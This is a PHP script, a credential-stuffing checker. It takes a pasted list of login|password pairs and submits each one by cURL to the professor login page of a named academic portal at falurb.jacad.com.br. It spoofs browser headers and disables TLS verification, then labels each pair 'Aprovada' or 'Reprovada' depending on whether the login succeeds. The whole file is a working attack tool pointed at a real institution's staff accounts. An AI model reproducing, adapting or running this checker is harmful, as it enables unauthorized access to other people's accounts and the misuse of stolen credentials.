CURL - PHP

<?php
error_reporting(0);
if(isset($_POST['enviar'])){
$line = explode("\r\n", $_POST['list']);
$total = count($line);
for($i=0;$i<count($line);$i++){
		$de++;
		$dads = explode("|", $line[$i]);
		$login = $dads[0];
		$senha = $dads[1];

            $ch = curl_init();                              
            curl_setopt($ch, CURLOPT_URL, "http://falurb.jacad.com.br:8080/prof/professor.efetuaLogin.logic");
            curl_setopt($ch, CURLOPT_HEADER, 1);
            $User_Agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0';
            $request_headers = array();
            $request_headers[] = 'Host: falurb.jacad.com.br:8080';
            $request_headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36';
            $request_headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
            $request_headers[] = 'Referer: http://falurb.jacad.com.br:8080/prof/professor.efetuaLogin.logic';
	    curl_setopt($ch, CURLOPT_HTTPHEADER, $request_headers);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1); 
            curl_setopt($ch, CURLOPT_POSTFIELDS, "usuarioProfessor.login=$login&usuarioProfessor.senha=$senha");
            $data = curl_exec($ch);
    if($data){
    if(stristr($data,$login) !== false){
		
		echo "<center><div class='alert alert-success' style='width: 90%;'><b style=\"color:gray\">#Aprovada ✔ </b> <b style=\"color:green\"> | {$login} | {$senha}</b></div></center>";
	}elseif(stristr($data,'Utilize o seu login e a sua senha para acessar o ambiente.') !== false){

		echo "<center><div class='alert alert-danger' style='width: 90%;'><b style=\"color:gray\">#Reprovada ✘ </b>  | {$login} | {$senha}</b></div></center>";  
    }
	}
	}
		};

            ?>